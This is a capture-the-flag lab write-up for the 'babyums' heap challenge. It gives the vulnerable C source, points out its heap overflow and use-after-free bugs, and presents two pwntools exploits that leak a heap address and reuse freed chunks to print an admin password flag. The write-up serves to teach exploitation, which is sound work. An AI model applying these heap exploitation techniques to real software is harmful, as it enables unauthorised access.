---
# System prepended metadata

title: Simple PWN 0x19(Lab - `babyums` - flag 1)
tags: [eductf, PWN, CTF]

---

# Simple PWN 0x19(Lab - `babyums` - flag 1)
###### tags: `CTF` `PWN` `eductf`

Version: Ubuntu 20.04

## Original Code
:::spoiler Original Code
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"

struct User
{
    char name[0x10];
    char password[0x10];
    void *data;
};

struct User *users[8];

static short int get_idx()
{
    short int idx;

    printf("index\n> ");
    scanf("%hu", &idx);

    if (idx >= 8)
        printf("no, no ..."), exit(1);
    
    return idx;
}

static short int get_size()
{
    short int size;

    printf("size\n> ");
    scanf("%hu", &size);

    if (size >= 0x500)
        printf("no, no ..."), exit(1);
    
    return size;
}

void add_user()
{
    short int idx;

    idx = get_idx();
    users[idx] = malloc(sizeof(*users[idx]));

    printf("username\n> ");
    read(0, users[idx]->name, 0x10);

    printf("password\n> ");
    read(0, users[idx]->password, 0x10);

    users[idx]->data = NULL;
    printf("success!\n");
}

void edit_data()
{
    short int idx;
    short int size;

    idx = get_idx();
    size = get_size();

    if (users[idx]->data == NULL)
        users[idx]->data = malloc(size);
    
    read(0, users[idx]->data, size);
    printf("success!\n");
}

void del_user()
{
    short int idx;

    idx = get_idx();
    free(users[idx]->data);
    free(users[idx]);
    printf("success!\n");
}

void show_users()
{
    for (int i = 0; i < 8; i++) {
        if (users[i] == NULL || users[i]->data == NULL)
            continue;
        
        printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
    }
}

void add_admin()
{
    users[0] = malloc(sizeof(*users[0]));
    strcpy(users[0]->name, "admin");
    strcpy(users[0]->password, FLAG1);
    users[0]->data = NULL;
}

int main()
{
    char opt[2];
    int power = 20;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("**** User Management System ****\n");
    add_admin();

    while (power)
    {
        power--;
        printf("1. add_user\n"
               "2. edit_data\n"
               "3. del_user\n"
               "4. show_users\n"
               "5. bye\n"
               "> ");
        read(0, opt, 2);

        switch (opt[0]) {
        case '1': add_user(); break;
        case '2': edit_data(); break;
        case '3': del_user(); break;
        case '4': show_users(); break;
        case '5': exit(0);
        }
    }
    printf("No... no power..., b..ye...\n");
    
    return 0;
}
```
:::
### Something wrong
* Heap overflow
* Used after free(UAF)
* Note that, flag 1 is admin password, flag 2 is at `/home/chal/`


## Exploit
### Hard solution - leak heap base address + heap overflow
If we can use heap overflow to overlap the `user k`'s `*data`, then we can let it point to admin's password and use `show_users()` to print it out
1. leak admin password address
It's very straight forward, if we delete two user, user 2 first and then user 1, at the same time, the `fd` of user 1 will point to the data of user 2. Then we can use `show_user()` to leak the address and try to find `admin_pass_addr` by minus offset
    ```python!
    edit_data(0, 0x8, b'a')    # Must add this line to use heap overflow
    add_user(1, b'a'*8, b'aaaa')
    edit_data(1, 0x20, b'a')
    add_user(2, b'b'*8, b'bbbb')
    del_user(2)
    del_user(1)
    show_user()
    r.recvuntil(b'[1] ')
    r.recvuntil(b'data: ')
    admin_pass_addr = u64(r.recv(6).ljust(8, b'\x00')) - 0xa0
    print(hex(admin_pass_addr))
    ```
    ![](https://imgur.com/ZicILFr.png)

2. Get the memory back from `tcache`
    ```python!
    add_user(1, b'a'*8, b'aaaa')
    edit_data(1, 0x20, b'a')
    ```

3. Construct fake chunk that the data pointer will point to the `admin_pass_addr`
    ```python!
    fake_chunk = flat(
        b'a'*8, b'a'*8,
        b'a'*8, 0x31,
        b'a'*8, b'a'*8,
        b'a'*8, b'a'*8,
        admin_pass_addr, 
    )
    edit_data(0, 0x48, fake_chunk)
    show_user()
    ```
    ![](https://imgur.com/N81QUXR.png)
4. Then we got flag 1!!!
    ![](https://imgur.com/HezQUdJ.png)


### Easy solution
Try to let the admin user be the data of other user, then we can use `show_user` function to print it out
```python!
add_user(1, b'a'*8, b'aaaa')
del_user(0)
edit_data(1, 0x20, b'b'*16)
show_user()
```
1. First, we add user 1
        ![](https://imgur.com/TrRwqJY.png)
2. Then we delete user 0(admin), so that it'll be put into `tcache`(`0x30`)
    ![](https://imgur.com/GlClYCU.png)
3. When we use `edit_data` function, it'll get a memory space from sub-bin of `tcache` be user1's data, which is what we delete. In addition, in order to print the data section out, must change the `NULL` byte to garbage
    ![](https://imgur.com/B4lCir7.png)
4. Then we got flag 1!!!
    ![](https://imgur.com/mUA6ubZ.png)


:::spoiler Whole exploit
```python=
from pwn import *

r = process('./chal')
# r = remote('edu-ctf.zoolab.org', 10008)

context.arch = 'amd64'

def add_user(idx, user_name, user_passwd):
    r.sendafter(b'> ', b'1')
    r.sendlineafter(b'index\n> ', str(idx))
    r.sendafter(b'username\n> ', user_name)
    r.sendafter(b'password\n> ', user_passwd)

def edit_data(idx, note_size, message):
    r.sendafter(b"> ", b"2")
    r.sendlineafter(b'index\n> ', str(idx))
    r.sendlineafter(b'size\n> ', str(note_size))
    r.send(message)

def del_user(idx):
    r.sendafter(b"> ", b"3")
    r.sendlineafter(b'index\n> ', str(idx))

def show_user():
    r.sendafter(b"> ", b"4")


'''------------------
Hard solution
------------------'''
edit_data(0, 0x8, b'a')
add_user(1, b'a'*8, b'aaaa')
edit_data(1, 0x20, b'a')
add_user(2, b'b'*8, b'bbbb')
del_user(2)
del_user(1)
show_user()
r.recvuntil(b'[1] ')

admin_pass_addr = u64(r.recv(6).ljust(8, b'\x00')) - 0x70
print(hex(admin_pass_addr))
add_user(1, b'a'*8, b'aaaa')
fake_chunk = flat(
    b'a'*8, b'a'*8,
    b'a'*8, 0x31,
    b'a'*8, b'a'*8,
    b'a'*8, b'a'*8,
    admin_pass_addr, 
)

edit_data(1, 0x20, b'a')
edit_data(0, 0x48, fake_chunk)
show_user()

'''------------------
Easy solution
------------------'''
add_user(1, b'a'*8, b'aaaa')
del_user(0)
edit_data(1, 0x20, b'b'*16)
show_user()

r.interactive()
```
:::